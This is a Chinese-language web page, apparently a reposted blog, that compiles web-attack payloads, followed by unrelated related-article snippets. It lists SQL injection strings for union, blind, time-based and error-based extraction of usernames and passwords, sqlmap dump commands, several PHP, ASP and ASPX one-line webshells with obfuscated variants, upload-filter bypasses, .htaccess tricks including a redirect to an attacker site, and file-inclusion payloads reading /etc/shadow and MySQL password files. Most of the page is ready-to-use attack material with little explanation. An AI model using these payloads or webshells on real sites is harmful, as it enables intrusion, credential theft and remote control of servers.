网络安全代码合集

news2024/11/15 20:42:11

SQL注入

联合注入

?id=1'and 1=1-- - 
?id=1'order by 1-- -  
?id=-1'union select 1,2,3-- - 


?id=-1'union select 1,database(),3-- -
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" -- -
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users -- -

布尔盲注

?id=1' and length(database())=8 -- -
?id=1' and length(database())>2 and length(database())<12 -- -


?id=1' and left(database(),1)>'a' and left(database(),1)<'z' -- -
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>11 -- -

SqlMap

"http://192.168.165.98/sqlilabs/Less-5/?id=1"

"http://192.168.165.98/sqlilabs/Less-5/?id=1" --current-db
"http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security --tables
"http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security -T users --columns
"http://192.168.165.98/sqlilabs/Less-5/?id=1" -D security -T users -C "username,password" --dump

时间盲注

?id=1' and sleep(5) -- -

?id=1' and  if(length(database())>=8,sleep(5),1) -- -
?id=1' and  if(length(database())>=8,1,sleep(5)) -- -
?id=1' and  if(ascii(substr(database(),1,1))>115,1,,sleep(5)) -- -

万能密码

' or '1=1'#

变形——' or '1=1 或者' or '1=1' '

二次注入

  • 利用username='admin'# '——使username能闭合变形成为admin账号,然后修改密码
  • 或者username = '' OR '1'='1' ——或者利用闭合,使查询条件恒为真,然后爆出所有用户的账号密码

宽字节注入

?id=1%df and 1=2 -- -

宽字节注入——%df与\在GBK编码下,合成一个汉字,防转义单引号,然后进行联合注入

  • 爆列名,table_name="users"中的"users"使用https://www.107000.com/转换的hex编码
  • 爆账号密码的时候,表名不用处理,在账号密码中间插入hex编码,0x3a

报错注入

updatexml()

id=-1or updatexml(1,concat(0x7e,(select database())),1)

id=-1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

id=-1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli')),1)

id=-1 or updatexml(1,concat(0x7e,(select group_concat(password) from sqli)),1)
extractvalue()

id=-1 or extractvalue(1,concat(0x7e,(select database())))

id=-1 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))

id=-1 or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli')))

id=-1 or extractvalue(1,concat(0x7e,(select group_concat(password) from sqli)))

bypass绕过

  1. 空格——括号、双写( · · )、注释(#、/**/、--+、-- -)、编码(%09、%0d、%0a、%a0、+
  2. 引号——反引号、双引号、引号整体hex编码
  3. 逗号

    ①盲注中使用 “substr(0,1),”====substr(from 0 for 1)    

    ②limit 2,1 ==== limit 1 offset 2    

    ③union select 1,2,3 ====union select * from (select 1)a join (select 2)b join(select 3)c

  4. 等号——<、>、!=
  5. 注释符——换注释符、使之闭合
  6. 关键字——前后双写(adaddd)、大小写、中间加注释
  7. 等价函数
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()
    @@user ==> user()
    @@datadir ==> datadir()
    hex()、bin() ==> ascii()

and可用like绕过,一般双写都能绕过

文件上传

文件上传

凡是存在上传东西的地方都可能会存在文件上传漏洞

eval()函数用于执行代码层面的命令 ,system————执行系统层面命令

w是获取phpinfo之后连接蚁剑的登录密码

POST 是在消息体存放数据,GET 是在消息头的 URL 路径里存放数据(例如xxx.php?a=2)

一句话木马(Webshell)

标准形式

<?php @eval($_POST['w']);?>   ——————也可用@assert 
<?php @eval("echo '123');"?>  ——————echo()函数用于打印,相当于<?php echo '123';?>


w=system("dir /C >> 1.txt:"); ——————将目录导入1.txt文件中存放


不同语言编写的网页的一句话木马
—————————————————————————————————————————————————————————————————————————————
php  <?php @eval($_POST[hack]);?>    
asp  <%eval request ("hack")%>     
aspx  <%@ Page Language="Jscript"%> <%eval(Request.Item["hack"],"unsafe");%>
 

变形马

变形马脚本
Ⅰ、create_function()函数
<?php

$fun = create_function('',$_POST['nosery']);

$fun();

?>

Ⅱ、@call_user_func()函数
<?php

@call_user_func(assert,$_POST['nosery']);

?>

Ⅲ、@preg_replace()函数
<?php

@preg_replace("/abcde/e", $_POST['nosery'], "abcdefg");

?>

Ⅳ、file_put_contents()函数
<?php

$test='<?php $a=$_POST["nosery"];assert($a); ?>';

file_put_contents("hello.php", $test);

?>

Ⅴ、编码绕过脚本
<?php

$a=base64_decode("YXNzZXJ0")

$a($_POST['nosery']);

?>

Ⅵ、拼接绕过
<?php

$a = "assert";

$a(@$_POST['nosery']);

?>

Ⅶ、运算符变形
<?php

@$_++;

$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");

$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");

${$__}[!$_](${$___}[$_]);

?>

echo打印出三个变量$_++、$__、$___可以看到他们的值分别为1、_GET、_POST
放入最后一条语句中刚好组成一个两层的一句话木马————————<?php $_GET[0]($_POST[1])?>

图片马

1、文本方式或16进制打开图片,在末尾粘贴一句话木马

2、cmd执行copy pic.jpg/b + php木马.php/a webshell.jpg

( /b 表示以二进制方式打开,/a 表示以ASCII方式打开)

然后上传到目标网站,由于图片马不是单纯的php,所以不能直接解析,也不能直接连蚁剑——只有利用文件包含漏洞,才能成功利用该木马

后缀黑名单绕过

  1. 文件名大小写:pHp
  2. 使用php1-9(php1等挨个试一遍,仍要php解析),phtml(它也能被解析)——命名为 .php1.jpg
  3. 上传文件时把后缀名改成png格式,上传时在通过Burp把后缀名改回来
  4. MIME类型欺骗

    上传图片马,抓包,放到repeater修改请求头中Content-Type字段为"image/jpeg",并在<?php> 头前面加上GIF89a

  5. 0x00截断绕过
    上传一句话木马,抓包后将.php改为.php%00
    上传图片马,抓包后将.jpg改为.php%00
    上传evil.php.jpg,抓包后改为evil.php0x00jpg
    直接重命名为xxx.php%00.jpg
  6. 双写后缀名:phphpp
  7. 上传.php.abc——校验的是.abc,执行的是.php
  8. 在后缀名中加空格或加(.php.)或加点空格点绕过(. .)绕过(windows会默认去除后缀后的空格和点号,linux不适用
  9. 对Apache服务器上传.htaccess覆盖绕过

最后访问木马的时候访问的是 .php

如果命名的时候不能以 .htaccess 作为文件名,可以先命名为 htaccess.txt或 htaccess.jpg,再抓包修改

按照php解析

#define width 1377
#define height 1377
<FilesMatch "123pinfo.jpg">         FilesMatch作文件匹配的,匹配后按照php进行解析
SetHandler application/x-httpd-php
</FileMatch>
 
先构造好.htaccess 文件,然后上传123pinfo.jpg 文件,然后再上传.htaccess 文件
再去访问123pinfo.jpg,就可以到达phpinfo页面
.htaccess 文件只要上传到该网站的文件夹即可,先后顺序无所谓

Ⅰ、访问限制绕过脚本

<FilesMatch ".(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$">
Order Allow,Deny
Deny from all
</FilesMatch>

Ⅱ、修改重写规则
<FilesMatch ".(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$">
RewriteEngine On
RewriteRule ^(.*)$ http:
</FilesMatch>
//攻击者网站.com/$1 [L,R=301] 
/*L表示如果匹配本规则,那本规则就是最后一条规则忽略后面的内容
rule=301,临时重定向
在后面如果有[NC],则表示“不区分大小写”*/

/*该RewriteRule能够将.htm静态页面重定向到.php动态页面
如果通过.htm进入,浏览器地址栏会自动转为.php,这也是重定向的本质
必须保证服务器上有对应的.php,否则会404*/

文件包含

文件包含

php允许文件间的互相引用,故可在php文件里面使用include,包含的一切均按照php解析,但只能相对路径

  • 能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)
  • 如果PHP的配置allow_url_include、allow_url_fopen状态为ON的话,则include/require函数可加载远程文件,这种漏洞被称为远程文件包含(RFI),如 ?file="https://baidu.com/nosery",如果远程包含一句话木马——就可以达到远控的目的

漏洞测试

1、纯黑盒挖掘——看URL的链接,如果里面含有?file=xxxx,极大可能会存在文件包含(在该页面的源码中会存在下列代码)

<?php
 $file=$_GET['file'];
 include($file);
 ?>

可以试一下访问一些配置文件,如Linux下的/etc/password(Windows在c盘下也有一些配置文件),在include.php后面加?file=/etc/password去访问一些配置文件。黑盒测试经验很重要,因为漏洞类型不明确,测试漏洞的时候就要结合功能和URL传参去试

2、审计代码
代码确定包含某文件,此时其实是改不了的,看本页包含的文件里面是否含有可控制值,如果传参是GET型,就可以控制该值的传参,要跟踪跳转,去寻找代码逻辑上的缺陷是什么,然后根据缺陷去攻击

限制绕过

  • 有限制的LFI绕过——?action=phpinfo.php%00;./././ 绕过;....... 绕过;伪协议绕过
  • 有限制的LFI绕过——?action=http://192.168.152.123/phpinfo.php?;%23、%20、+、空格abc绕过

伪协议

file://访问本地文件系统
http://访问 HTTP(s)网址
ftp://访问 FTP(s)URLS
php://访问各个输入/输出流
zlib://压缩流
data://数据(RFC2397)
rar://

RAR

1、file://协议

?path=file://c:\windows\system32\drivers\etc\hosts]

加密用法——file=php://filter/covert.base64_encode/resource=

2、php://filter协议————用于读取源码

?path=php://filter/read=convert.base64-encode/resource =文件.php

3、php://input协议————用于执行php代码,流的形式传文件

$data = file_get_contents('php://input');

读取到的数据可以根据请求的 Content-Type 进行解析,如请求的 Content-Type 是 application/json,则可以使用 json_decode() 函数将数据解析为 JSON 格式

4、data://协议————直接执行php代码

?file=data:text/plain,<?php phpinfo();?>
?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= 

5、zip://协议————绝对路径

?file=zip://D:WWW/file.zip%23phpcode.txt
/about.php?f=zip://./images/1499394959.jpg%231.php 

6、phar://协议

?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
/about.php?f=phar://./images/1499394959.jpg/1.php

一些常见的敏感目录信息路径——?filename=C:\boot.ini


Windows系统:

  •     查看系统版本——C:\boot.ini            
  •     MySQL root密码——C:\ProgramFiles\mysql\data\mysql\user.MYD          
  •     php配置信息——C:\windows\php.ini          

Linux/Unix系统:

  •     账户信息——/etc/password
  •     账户密码信息——/etc/shadow
  •     PHP相关配置——/usr/local/app/php5/lib/php.ini
  •     Apache配置文件——/etc/httpd/conf/httpd.conf
  •     mysql配置文件——/etc/my.conf


目标硬盘里有没有目标文件,可以用php函数:opendir()readdir()等等;想上传文件,就用php函数:move_uploaded_file,当然相应的html要写好;你想执行cmd命令,则用exec()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/805236.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Docker啥是容器编排?

文章目录 容器编排compose案例wordpress案例swarmKubernetes特点 容器编排 Docker容器编排是一种管理和协调多个Docker容器的技术&#xff0c;旨在简化容器化应用程序的部署、扩展和管理。在现代应用开发中&#xff0c;容器化已经成为一种流行的部署方式&#xff0c;Docker是其…

A Deep Framework for Hyperspectral Image Fusion Between Different Satellites

1.摘要 最近&#xff0c;将低分辨率高光谱图像&#xff08;LR-HSI&#xff09;与不同卫星的高分辨率多光谱图像&#xff08;HR-MSI&#xff09;融合已成为提高HSI分辨率的有效方法。然而&#xff0c;由于不同的成像卫星、不同的照明条件和相邻的成像时间&#xff0c;LR-HSI和H…

15.Netty源码之EventLoop

highlight: arduino-light Netty配置主从Reactor模式 通过将NioServerSocketChannel绑定到了bossGroup。 将NioServerSocketChannel接收到请求创建的SocketChannel放入workerGroup。 将2个不同的SocketChannel绑定到2个不同的Group完成了主从 Reactor 模式。 分配NIOEventLoop的…

【Git|项目管理】Git的安装以及本地仓库的创建和配置

文章目录 1.Git简介2.安装Git2.1在Centos上安装git2.2 在ubuntu上安装git 3.创建本地仓库4.配置本地仓库 1.Git简介 Git是一个分布式版本控制系统&#xff0c;用于跟踪和管理文件的更改。它可以记录和存储代码的所有历史版本&#xff0c;并可以方便地进行分支管理、合并代码和协…

JavaScript中的this指向及绑定规则

在JavaScript中&#xff0c;this是一个特殊的关键字&#xff0c;用于表示函数执行的上下文对象&#xff0c;也就是当前函数被调用时所在的对象。由于JavaScript的函数调用方式多种多样&#xff0c;this的指向也因此而变化。本文将介绍JavaScript中this的指向及绑定规则&#xf…

【LeetCode】141.环形链表

题目 给你一个链表的头节点 head &#xff0c;判断链表中是否有环。 如果链表中有某个节点&#xff0c;可以通过连续跟踪 next 指针再次到达&#xff0c;则链表中存在环。 为了表示给定链表中的环&#xff0c;评测系统内部使用整数 pos 来表示链表尾连接到链表中的位置&#…

M.2 接口

M.2 接口 简介 M.2模块卡口类型 常用硬盘接口 • B key&#xff1a;传输模式为PCI-E 2X或SATA&#xff0c;用于SSD或WWAN • M Key&#xff1a;传输模式为PCI-E 4X或SATA&#xff0c;传输速率达到4GB/s&#xff0c;应用于NVMe PCIe M.2 SSD等。 接口类型 常用硬盘尺寸 M.2设…

sed命令替换 M-BM- 不可见字符 解决脚本或配置文件粘贴后莫名其妙的报错

在使用shell脚本、编辑配置文件时&#xff0c;如果是直接复制&#xff0c;有时会莫名其妙报错。 使用cat -A查看文件&#xff0c;可以看到非常多的 M-BM- 不可见字符 挤占在空格位&#xff0c;正是这些字符导致脚本或配置文件的读取出错、 使用sed命令将文件内的 M-BM- 不可见…

C# IO 相关功能整合

目录 删除文件和删除文件夹 拷贝文件到另一个目录 保存Json文件和读取Json文件 写入和读取TXT文件 打开一个弹框&#xff0c;选择 文件/文件夹&#xff0c;并获取路径 获取项目的Debug目录路径 获取一个目录下的所有文件集合 获取文件全路径、目录、扩展名、文件名称 …

原生js vue react通用的递归函数

&#x1f642;博主&#xff1a;锅盖哒 &#x1f642;文章核心&#xff1a;原生js vue react通用的递归函数 目录大纲 1.递归函数的由来 2.代码逻辑 1.递归函数的由来 递归函数的由来可以追溯到数学中的递归概念和数学归纳法。 在数学中&#xff0c;递归是指通过定义基本情况和…

windows切换php版本以及composer

前提 安装php8.2 安装Php7.4 下载 nts是非线程安全的&#xff0c;这里选择线程安全的&#xff0c;选择64位 解压缩 修改系统环境变量 修改为php-7的 cmd中输入php -v查看 找到composer存放路径C:\ProgramData\ComposerSetup\bin 将三个文件复制到php目录下 重启电脑…

flink采用thrift读取tablets一个天坑

原先的配置 [INFO] StarRocksSourceBeReader [open Scan params.mem_limit 8589934592 B] [INFO] StarRocksSourceBeReader [open Scan params.query-timeout-s 600 s] [INFO] StarRocksSourceBeReader [open Scan params.keep-alive-min 100 min] [INFO] StarRocksSourceBeRea…

中间件安全-CVE漏洞复现-Docker+Websphere+Jetty

中间件-Docker Docker容器是使用沙盒机制&#xff0c;是单独的系统&#xff0c;理论上是很安全的&#xff0c;通过利用某种手段&#xff0c;再结合执行POC或EXP&#xff0c;就可以返回一个宿主机的高权限Shell&#xff0c;并拿到宿主机的root权限&#xff0c;可以直接操作宿主机…

【图论】Prim算法

一.介绍 Prim算法是一种用于解决最小生成树问题的贪心算法。最小生成树问题是指在一个连通无向图中找到一个生成树&#xff0c;使得树中所有边的权重之和最小。 Prim算法的基本思想是从一个起始顶点开始&#xff0c;逐步扩展生成树&#xff0c;直到覆盖所有顶点。具体步骤如下…

【Ansible】

目录 一、Ansible简介二、ansible 环境安装部署1、管理端安装 ansible 三、ansible 命令行模块&#xff08;重点&#xff09;1&#xff0e;command 模块2&#xff0e;shell 模块3、cron 模块4&#xff0e;user 模块5&#xff0e;group 模块6&#xff0e;copy 模块&#xff08;重…

后台管理系统中刷新业务功能的实现

实现 由于刷新业务涉及路由通信所以在store/pinia创建全局变量refresh state:()>{return{// 是否刷新refresh:false,}},在header组件中是为刷新按钮绑定点击实现并对refresh取反操作 <el-button type"default" click"refresh!refresh" icon"R…

LaTex使用技巧20:LaTex修改公式的编号和最后一行对齐

写论文发现公式编号的格式不对&#xff0c;要求是如果是多行的公式&#xff0c;公式编号和公式的最后一行对齐。 我原来使用的是{equation}环境。 \begin{equation} \begin{aligned} a&bc\\ &cd \end{aligned} \end{equation}公式的编号没有和最后一行对齐。 查了一…

No101.精选前端面试题,享受每天的挑战和学习(Promise)

文章目录 1. 解释什么是Promise&#xff0c;并简要说明它的作用和优势。2. Promise有几种状态&#xff1f;每种状态的含义是什么&#xff1f;3. 解释Promise链式调用&#xff08;chaining&#xff09;的作用和如何实现。4. 如何捕获和处理Promise链中的错误&#xff1f;5. 解释…

【2023.7.29】本文用于自己写文章时查看Markdown编辑器语法

这里写自定义目录标题 欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题&#xff0c;有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个…

【C语言学习——————动态内存管理】

文章目录 一、什么是动态内存管理二、动态内存函数的介绍 1.malloc函数的介绍2.calloc函数的介绍3.realloc函数的介绍三、free函数的介绍 一.什么是动态内存管理 我们知道数据都是在内存中进行储存的&#xff0c;但是如果我们需要调用内存&#xff0c;我们可以通过定义一个变量…